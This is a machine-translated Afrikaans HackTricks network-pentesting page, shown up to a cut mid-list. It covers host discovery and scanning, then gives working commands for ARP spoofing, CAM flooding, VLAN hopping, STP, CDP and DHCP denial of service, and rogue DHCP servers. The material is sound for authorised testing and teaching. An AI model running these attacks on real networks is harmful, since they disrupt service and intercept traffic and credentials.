.. | ||
dhcpv6.md | ||
eigrp-attacks.md | ||
glbp-and-hsrp-attacks.md | ||
ids-evasion.md | ||
lateral-vlan-segmentation-bypass.md | ||
network-protocols-explained-esp.md | ||
nmap-summary-esp.md | ||
pentesting-ipv6.md | ||
README.md | ||
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||
spoofing-ssdp-and-upnp-devices.md |
Pentesting Netwerk
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings te verdien tot $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Ontdekking van gasheer van buite af
Dit gaan 'n kort afdeling wees oor hoe om IPs te vind wat reageer vanaf die Internet.
In hierdie situasie het jy 'n omvang van IPs (miskien selfs verskeie reekse) en jy moet net vind watter IPs reageer.
ICMP
Dit is die maklikste en vinnigste manier om te ontdek of 'n gasheer aan is of nie.
Jy kan probeer om 'n paar ICMP pakkies te stuur en verwag antwoorde. Die maklikste manier is om net 'n echo versoek te stuur en antwoord te verwag. Jy kan dit doen deur 'n eenvoudige ping
te gebruik of deur fping
te gebruik vir reekse.
Jy kan ook nmap gebruik om ander tipes ICMP pakkies te stuur (dit sal filters vir gewone ICMP echo versoek-antwoord vermy).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Poort Ontdekking
Dit is baie algemeen om te vind dat alle soorte ICMP-pakette gefiltreer word. Dan is alles wat jy kan doen om te kyk of 'n gasheer aan is, om oop poorte te vind. Elke gasheer het 65535 poorte, so, as jy 'n "groot" omvang het, kan jy nie toets of elke poort van elke gasheer oop of toe is nie, dit sal te veel tyd neem.
Dan, wat jy nodig het is 'n vinnige poortskandeerder (masscan) en 'n lys van die mees gebruikte poorte:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
HTTP Poort Ontdekking
Dit is net 'n TCP-poort ontdekking wat nuttig is wanneer jy wil fokus op die ontdekking van HTTP-diens.
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Poort Ontdekking
Jy kan ook probeer om te kyk vir UDP-poorte wat oop is om te besluit of jy meer aandag aan 'n gasheer moet gee. Aangesien UDP-diens gewoonlik nie reageer met enige data op 'n gewone leë UDP-navraagpakket nie, is dit moeilik om te sê of 'n poort gefiltreer of oop is. Die maklikste manier om dit te besluit, is om 'n pakket te stuur wat verband hou met die lopende diens, en aangesien jy nie weet watter diens loop nie, moet jy die mees waarskynlike probeer gebaseer op die poortnommer:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
Die nmap lyn voorgestel voor sal die top 1000 UDP-poorte toets in elke gasheer binne die /24-reeks, maar selfs net dit sal >20min neem. As jy vinnigste resultate benodig, kan jy udp-proto-scanner gebruik: ./udp-proto-scanner.pl 199.66.11.53/24
Dit sal hierdie UDP-ondersoeke na hul verwagte poort stuur (vir 'n /24-reeks sal dit net 1 min neem): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP Poort Ontdekking
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
Hier kan jy 'n goeie gids vind van al die bekende Wifi-aanvalle op die tyd van die skryf:
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
Ontdekking van gasheer van binne
As jy binne die netwerk is, is een van die eerste dinge wat jy wil doen, ander gasheer ontdek. Afhangende van hoeveel geraas jy kan/wil maak, kan verskillende aksies uitgevoer word:
Passief
Jy kan hierdie gereedskap gebruik om gasheer binne 'n gekoppelde netwerk passief te ontdek:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Aktief
Merk op dat die tegnieke wat in Ontdekking van gasheer van buiteaf (TCP/HTTP/UDP/SCTP Poortontdekking) gekomment is, kan ook hier toegepas word.
Maar, aangesien jy in dieselfde netwerk as die ander gasheer is, kan jy meer dinge doen:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Aktiewe ICMP
Let daarop dat die tegnieke wat in Ontdekking van gasheer van buite af (ICMP) gekomment is, kan ook hier toegepas word.
Maar, aangesien jy in dieselfde netwerk as die ander gasheer is, kan jy meer dinge doen:
- As jy 'n subnet-uitsaai-adres ping, behoort die ping by elke gasheer aan te kom en hulle kan aan jou antwoord:
ping -b 10.10.5.255
- Deur die netwerk-uitsaai-adres te ping, kan jy selfs gasheer binne ander subnets vind:
ping -b 255.255.255.255
- Gebruik die
-PE
,-PP
,-PM
vlae vannmap
om gasheer-ontdekking uit te voer deur onderskeidelik ICMPv4-echo, tydstempel, en subnetmasker-aanvrae te stuur:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan word gebruik om rekenaars aan te skakel deur 'n netwerkboodskap. Die sielvolle pakkie wat gebruik word om die rekenaar aan te skakel, is net 'n pakkie waar 'n MAC Dst voorsien word en dit word dan 16 keer herhaal binne dieselfde pakkie.
Hierdie soort pakkies word gewoonlik gestuur in 'n ethernet 0x0842 of in 'n UDP-pakkie na poort 9.
As daar geen [MAC] voorsien word nie, word die pakkie gestuur na uitsaai-ethernet (en die uitsaai-MAC sal die een wees wat herhaal word).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Skandering van Gasheer
Sodra jy al die IP-adresse (ekstern of intern) wat jy in diepte wil skandeer, ontdek het, kan verskillende aksies uitgevoer word.
TCP
- Oop poort: SYN --> SYN/ACK --> RST
- Geslote poort: SYN --> RST/ACK
- Gefiltreerde poort: SYN --> [GEEN REAKSIE]
- Gefiltreerde poort: SYN --> ICMP-boodskap
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Daar is 2 opsies om 'n UDP-poort te skandeer:
- Stuur 'n UDP-pakket en kontroleer vir die respons ICMP onbereikbaar as die poort toe is (in verskeie gevalle sal ICMP gefilter word sodat jy geen inligting sal ontvang of die poort oop of toe is).
- Stuur geformateerde datagramme om 'n respons van 'n diens te ontlok (bv., DNS, DHCP, TFTP, en ander, soos gelys in nmap-payloads). As jy 'n respons ontvang, dan is die poort oop.
Nmap sal beide opsies meng deur "-sV" te gebruik (UDP-skandes is baie stadig), maar let daarop dat UDP-skandes stadiger as TCP-skandes is:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Skandering
SCTP (Stream Control Transmission Protocol) is ontwerp om saam met TCP (Transmission Control Protocol) en UDP (User Datagram Protocol) gebruik te word. Die hoofdoel is om die vervoer van telefoniedata oor IP-netwerke te fasiliteer, wat baie van die betroubaarheidskenmerke wat in Signaling System 7 (SS7) gevind word, naboots. SCTP is 'n kernkomponent van die SIGTRAN-protokolfamilie, wat daarop gemik is om SS7-seine oor IP-netwerke te vervoer.
Ondersteuning vir SCTP word verskaf deur verskeie bedryfstelsels, soos IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, en VxWorks, wat dui op sy breë aanvaarding en bruikbaarheid in die veld van telekommunikasie en netwerke.
Nmap bied twee verskillende skanderings vir SCTP aan: -sY en -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS en IPS ontduiking
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
Meer nmap opsies
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
Onthulling van Interne IP-adresse
Verkeerd gekonfigureerde routers, firewalls, en netwerktoestelle reageer soms op netwerkondersoeke met nie-publieke bronadresse. tcpdump kan gebruik word om pakkies te identifiseer wat ontvang word van private adresse tydens toetsing. Spesifiek op Kali Linux kan pakkies opgevang word op die eth2-koppelvlak, wat toeganklik is vanaf die openbare internet. Dit is belangrik om te let dat as jou opstelling agter 'n NAT of 'n firewall is, sulke pakkies waarskynlik gefiltreer sal word.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
Deur te sniff, kan jy besonderhede van IP-reekse, subnetgroottes, MAC-adresse, en hostnames leer deur vasgevangde rame en pakkies te hersien. As die netwerk verkeerd geconfigureer is of die skakelstof onder druk is, kan aanvallers sensitiewe materiaal vasvang deur passiewe netwerksniffing.
As 'n geskakelde Ethernet-netwerk behoorlik geconfigureer is, sal jy slegs uitsaai-rame en materiaal sien wat bestem is vir jou MAC-adres.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
Een kan ook pakkette vanaf 'n afgeleë rekenaar oor 'n SSH-sessie vasvang met Wireshark as die GUI in werkliktyd.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Duidelik.
Vaslegging van geloofsbriewe
Jy kan gereedskap soos https://github.com/lgandx/PCredz gebruik om geloofsbriewe van 'n pcap of 'n lewende koppelvlak te ontled.
LAN-aanvalle
ARP-spoofing
ARP-spoofing behels die stuur van vrygewige ARP-antwoorde om aan te dui dat die IP van 'n masjien die MAC van ons toestel het. Dan sal die slagoffer die ARP-tabel verander en sal elke keer wanneer dit die vervalsde IP wil kontak, ons masjien kontak.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Oorstroming - CAM-oorloop
Oorstroom die skakelaar se CAM-tabel deur 'n groot hoeveelheid pakkies met verskillende bron-MAC-adresse te stuur. Wanneer die CAM-tabel vol is, begin die skakelaar optree soos 'n hub (alle verkeer uitsaai).
macof -i <interface>
In moderne skakelaars is hierdie kwesbaarheid reggestel.
802.1Q VLAN / DTP Aanvalle
Dinamiese Trunking
Die Dynamic Trunking Protocol (DTP) is ontwerp as 'n skakellaag-protokol om 'n outomatiese stelsel vir trunking te fasiliteer, wat skakelaars in staat stel om outomaties poorte te kies vir trunk-modus (Trunk) of nie-trunk-modus. Die implementering van DTP word dikwels beskou as 'n aanduiding van suboptimale netwerkontwerp, wat die belang van die handmatige konfigurasie van trunkings slegs waar nodig en die versekering van behoorlike dokumentasie beklemtoon.
Standaard is skakelaarpoorte ingestel om in Dinamiese Auto-modus te werk, wat beteken dat hulle gereed is om trunking te inisieer as dit deur 'n aangrensende skakelaar genader word. 'n Sekuriteitskwessie ontstaan wanneer 'n pentester of aanvaller aan die skakelaar koppel en 'n DTP Begeerlike raam stuur, wat die poort dwing om trunk-modus binne te gaan. Hierdie aksie stel die aanvaller in staat om VLAN's te numereer deur middel van STP-raamontleding en om VLAN-segmentering te omseil deur virtuele koppelvlakke op te stel.
Die teenwoordigheid van DTP in baie skakelaars per standaard kan deur teenstanders uitgebuit word om 'n skakelaar se gedrag na te boots, en sodoende toegang te verkry tot verkeer oor alle VLAN's. Die skripsie dtpscan.sh word gebruik om 'n koppelvlak te monitor, wat onthul of 'n skakelaar in Standaard, Trunk, Dinamies, Auto, of Toegangsmodus is—laasgenoemde is die enigste konfigurasie wat immuun is teen VLAN-opspringaanvalle. Hierdie instrument evalueer die kwesbaarheidsstatus van die skakelaar.
Indien netwerkkwesbaarheid geïdentifiseer word, kan die Yersinia instrument gebruik word om "trunking" moontlik te maak via die DTP-protokol, wat die waarneming van pakkies van alle VLAN's toelaat.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
Om die VLANs op te som, is dit ook moontlik om die DTP Desirable-raam te genereer met die skripsie DTPHijacking.py**. Moet nie die skripsie onder enige omstandighede onderbreek nie. Dit spuit DTP Desirable elke drie sekondes in. Die dinamies geskepte stamkanale op die skakelaar bly net vir vyf minute lewendig. Na vyf minute val die stam af.
sudo python3 DTPHijacking.py --interface eth0
Ek wil graag daarop wys dat Toegang/Begeerlik (0x03) aandui dat die DTP-raamwerk van die Begeerlike tipe is, wat die poort sê om na Trunk-modus oor te skakel. En 802.1Q/802.1Q (0xa5) dui op die 802.1Q inkapsulerings tipe.
Deur die STP-raamwerke te analiseer, leer ons van die bestaan van VLAN 30 en VLAN 60.
Aanval op spesifieke VLAN's
Sodra jy die VLAN-ID's en IP-waardes ken, kan jy 'n virtuele koppelvlak konfigureer om 'n spesifieke VLAN aan te val.
As DHCP nie beskikbaar is nie, gebruik dan ifconfig om 'n statiese IP-adres in te stel.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Outomatiese VLAN Hopper
Die besproke aanval van Dinamiese Trunking en die skep van virtuele koppelvlakke en die ontdekking van gasheer in ander VLANs word outomaties uitgevoer deur die gereedskap: https://github.com/nccgroup/vlan-hopping---frogger
Dubbele Etikettering
As 'n aanvaller die waarde van die MAC, IP en VLAN ID van die slagoffer gasheer ken, kan hy probeer om 'n raamwerk dubbel te etiketteer met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakkie stuur. Aangesien die slagoffer nie kan terugkoppel met die aanvaller nie, is die beste opsie vir die aanvaller om te kommunikeer via UDP na protokolle wat interessante aksies kan uitvoer (soos SNMP).
'n Ander opsie vir die aanvaller is om 'n TCP-poortskandering te begin deur 'n IP te vervals wat deur die aanvaller beheer word en toeganklik is deur die slagoffer (waarskynlik deur die internet). Dan kan die aanvaller in die tweede gasheer wat aan hom behoort, snuffel as dit enige pakkies van die slagoffer ontvang.
Om hierdie aanval uit te voer, kan jy scapy gebruik: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Laterale VLAN-segmenteringsoorskryding
Indien jy toegang het tot 'n skakelaar waar jy direk mee verbind is, het jy die vermoë om VLAN-segmentering te omseil binne die netwerk. Skakel eenvoudig die poort na stammodus (ook bekend as stam), skep virtuele koppelvlakke met die ID's van die teiken-VLAN's, en konfigureer 'n IP-adres. Jy kan probeer om die adres dinamies aan te vra (DHCP) of jy kan dit staties konfigureer. Dit hang af van die geval.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Laag 3 Privaat VLAN-oorskryding
In sekere omgewings, soos gas-gasnetwerke, word poortisolering (ook bekend as privaat VLAN)-instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kan kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isoleringsmaatreëls kan omseil. Hierdie tegniek maak gebruik van die gebrek aan netwerk ACL's of hul onvanpaste konfigurasie, wat IP-pakkette moontlik maak om deur 'n router gerouteer te word om 'n ander kliënt op dieselfde netwerk te bereik.
Die aanval word uitgevoer deur 'n pakkie te skep wat die IP-adres van die bestemmingskliënt dra, maar met die router se MAC-adres. Dit veroorsaak dat die router die pakkie per abuis na die teikenkliënt stuur. Hierdie benadering is soortgelyk aan dié wat in Dubbele Etiketteringsaanvalle gebruik word, waar die vermoë om 'n gas wat toeganklik is vir die slagoffer te beheer, gebruik word om die sekuriteitsfout uit te buit.
Kernstappe van die Aanval:
- Skep van 'n Pakket: 'n Pakket word spesiaal geskep om die IP-adres van die teikenkliënt in te sluit, maar met die router se MAC-adres.
- Uitbuiting van Router-gedrag: Die geskepte pakkie word na die router gestuur, wat, as gevolg van die konfigurasie, die pakkie na die teikenkliënt omskakel, terwyl die isolering wat deur privaat VLAN-instellings voorsien word, omseil word.
VTP-aanvalle
VTP (VLAN-trunkprotokol) sentraliseer VLAN-bestuur. Dit maak gebruik van revisienommers om die integriteit van die VLAN-databasis te handhaaf; enige wysiging verhoog hierdie nommer. Skakelaars neem konfigurasies met hoër revisienommers aan, en werk hul eie VLAN-databasisse by.
VTP-domeinrolle
- VTP-bediener: Bestuur VLAN's—skep, verwyder, wysig. Dit straal VTP-aankondigings na domeinlede uit.
- VTP-kliënt: Ontvang VTP-aankondigings om sy VLAN-databasis te sinchroniseer. Hierdie rol word beperk vanaf plaaslike VLAN-konfigurasiewysigings.
- VTP-deursigtig: Neem nie deel aan VTP-opdaterings nie, maar stuur VTP-aankondigings voort. Ongeaffekteer deur VTP-aanvalle, handhaaf dit 'n konstante revisienommer van nul.
VTP-advertensietipes
- Opsommingadvertensie: Uitgesaai deur die VTP-bediener elke 300 sekondes, met essensiële domeininligting.
- Substeladvertensie: Gestuur na VLAN-konfigurasieveranderings.
- Advertensieversoek: Uitgereik deur 'n VTP-kliënt om 'n Opsommingadvertensie aan te vra, tipies as reaksie op die opsporing van 'n hoër konfigurasie-revisienommer.
VTP-kwesbaarhede is uitsluitlik uitbuitbaar via stamporte aangesien VTP-aankondigings slegs deur hulle sirkuleer. Na DTP-aanvalscenario's kan daar na VTP geswaai word. Gereedskap soos Yersinia kan VTP-aanvalle fasiliteer, met die doel om die VLAN-databasis uit te wis en sodoende die netwerk te ontwrig.
Nota: Hierdie bespreking handel oor VTP-weergawe 1 (VTPv1).
%% yersinia -G # Launch Yersinia in graphical mode ```
STP Aanvalle
As jy nie BPDU-rame op jou koppelvlakke kan vasvang nie, is dit onwaarskynlik dat jy suksesvol sal wees in 'n STP-aanval.
STP BPDU DoS
Deur 'n groot hoeveelheid BPDUs TCP (Topology Change Notification) of Conf (die BPDUs wat gestuur word wanneer die topologie geskep word) te stuur, word die skakelaars oorlê en hou op om korrek te werk.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP Aanval
Wanneer 'n TCP gestuur word, sal die CAM-tabel van die skakelaars binne 15 sekondes uitgevee word. Dan, as jy voortdurend hierdie soort pakkies stuur, sal die CAM-tabel voortdurend herlaai word (elke 15 sekondes) en wanneer dit herlaai word, gedra die skakelaar hom soos 'n hub.
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Wortel Aanval
Die aanvaller boots die gedrag van 'n skakelaar na om die STP wortel van die netwerk te word. Dan sal meer data deur hom gaan. Dit is interessant wanneer jy aan twee verskillende skakelaars gekoppel is.
Dit word gedoen deur BPDUs CONF-pakette te stuur wat sê dat die prioriteit waarde minder is as die werklike prioriteit van die werklike wortel skakelaar.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
As die aanvaller aan 2 skakelaars gekoppel is, kan hy die wortel van die nuwe boom wees en sal al die verkeer tussen daardie skakelaars deur hom gaan (‘n MITM-aanval sal uitgevoer word).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP Aanvalle
CISCO Discovery Protocol (CDP) is noodsaaklik vir kommunikasie tussen CISCO-toestelle, wat hulle in staat stel om mekaar te identifiseer en konfigurasiebesonderhede te deel.
Passiewe Data-insameling
CDP is ingestel om inligting deur alle poorte uit te saai, wat 'n sekuriteitsrisiko kan veroorsaak. 'n Aanvaller kan, nadat hy aan 'n skakelport verbind het, netwerk snuiftoestelle soos Wireshark, tcpdump, of Yersinia inzet. Hierdie aksie kan sensitiewe data oor die netwerktoestel onthul, insluitend sy model en die weergawe van Cisco IOS wat dit hardloop. Die aanvaller kan dan spesifieke kwesbaarhede in die geïdentifiseerde Cisco IOS-weergawe teiken.
Indusering van CDP-tabelvloed
'n Meer aggressiewe benadering behels die loods van 'n Diensofverleningsaanval (DoS) deur die skakel se geheue te oorlaai, deur voor te gee as legitieme CISCO-toestelle. Hieronder is die bevelreeks vir die inisieer van so 'n aanval met behulp van Yersinia, 'n netwerkwerktuig wat vir toetsdoeleindes ontwerp is:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
Tydens hierdie aanval word die CPU en CDP-buurnamentabel van die skakelaar swaar belas, wat dikwels lei tot wat dikwels verwys word as "netwerkverlamming" as gevolg van die oormatige gebruik van hulpbronne.
CDP Impersonation Aanval
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
VoIP Aanvalle en die VoIP Hopper Gereedskap
VoIP-telefone, wat toenemend geïntegreer is met IoT-toestelle, bied funksionaliteite soos die ontgrendeling van deure of die beheer van termostate deur spesiale telefoonnommers. Hierdie integrasie kan egter sekuriteitsrisiko's inhou.
Die gereedskap voiphopper is ontwerp om 'n VoIP-telefoon na te boots in verskeie omgewings (Cisco, Avaya, Nortel, Alcatel-Lucent). Dit ontdek die VLAN-ID van die spraaknetwerk deur protokolle soos CDP, DHCP, LLDP-MED, en 802.1Q ARP.
VoIP Hopper bied drie modusse vir die Cisco Discovery Protocol (CDP):
- Sniff Modus (
-c 0
): Analiseer netwerkpakette om die VLAN-ID te identifiseer. - Spoof Modus (
-c 1
): Genereer aangepaste pakkette wat dié van 'n werklike VoIP-toestel naboots. - Spoof met Voorafgemaakte Pakket Modus (
-c 2
): Stuur pakkette wat identies is aan dié van 'n spesifieke Cisco IP-telefoonmodel.
Die voorkeurmodus vir spoed is die derde een. Dit vereis die spesifisering van:
- Die aanvaller se netwerkinterface (
-i
parameter). - Die naam van die VoIP-toestel wat nageboots word (
-E
parameter), wat voldoen aan die Cisco-naamformaat (bv. SEP gevolg deur 'n MAC-adres).
In korporatiewe omgewings, om 'n bestaande VoIP-toestel na te boots, kan 'n persoon:
- Die MAC-etiket op die telefoon ondersoek.
- Deur die telefoon se vertooninstellings navigeer om modelinligting te sien.
- Die VoIP-toestel aan 'n rekenaar koppel en CDP-versoeke waarneem met Wireshark.
'n Voorbeeldopdrag om die gereedskap in die derde modus uit te voer sou wees:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCP Aanvalle
Opsomming
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
Twee tipes DoS kan teen DHCP-bedieners uitgevoer word. Die eerste een behels om genoeg valse gasheer te simuleer om al die moontlike IP-adresse te gebruik.
Hierdie aanval sal net werk as jy die reaksies van die DHCP-bedieners kan sien en die protokol voltooi (Ontdek (Rekenaar) --> Aanbod (bediener) --> Versoek (Rekenaar) --> ACK (bediener)). Byvoorbeeld, dit is nie moontlik in Wifi-netwerke nie.
'n Ander manier om 'n DHCP DoS uit te voer is om 'n DHCP-VRYSKAKEL-pakket te stuur wat elke moontlike IP as bronkode gebruik. Dan sal die bediener dink dat almal klaar is met die gebruik van die IP.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
'n Meer outomatiese manier om dit te doen is deur die hulpmiddel DHCPing te gebruik.
Jy kan die genoemde DoS-aanvalle gebruik om kliënte te dwing om nuwe leases binne die omgewing te verkry, en om legitieme bedieners uit te put sodat hulle onreageerbaar word. So wanneer die legitieme probeer om te herverbind, kan jy skadelike waardes bedien soos in die volgende aanval genoem.
Stel skadelike waardes in
'n Skelm DHCP-bediener kan opgestel word deur die DHCP-skrip te gebruik wat geleë is by /usr/share/responder/DHCP.py
. Dit is nuttig vir netwerkaanvalle, soos die vasvang van HTTP-verkeer en geloofsbriewe, deur verkeer na 'n skadelike bediener om te lei. Tog is dit minder effektief om 'n skelm gateway op te stel aangesien dit slegs die uitgaande verkeer van die kliënt kan vasvang, wat die reaksies van die werklike gateway mis. In plaas daarvan word dit aanbeveel om 'n skelm DNS- of WPAD-bediener op te stel vir 'n meer effektiewe aanval.
Hieronder is die opsielyste vir die konfigurasie van die skelm DHCP-bediener:
- Ons IP-adres (Gateway-advertensie): Gebruik
-i 10.0.0.100
om jou masjien se IP as die gateway te adverteer. - Plaaslike DNS-domeinnaam: Opsioneel, gebruik
-d example.org
om 'n plaaslike DNS-domeinnaam in te stel. - Oorspronklike Router/Gateway IP: Gebruik
-r 10.0.0.1
om die IP-adres van die legitieme router of gateway te spesifiseer. - Primêre DNS-bediener IP: Gebruik
-p 10.0.0.100
om die IP-adres van die skelm DNS-bediener wat jy beheer, in te stel. - Sekondêre DNS-bediener IP: Opsioneel, gebruik
-s 10.0.0.1
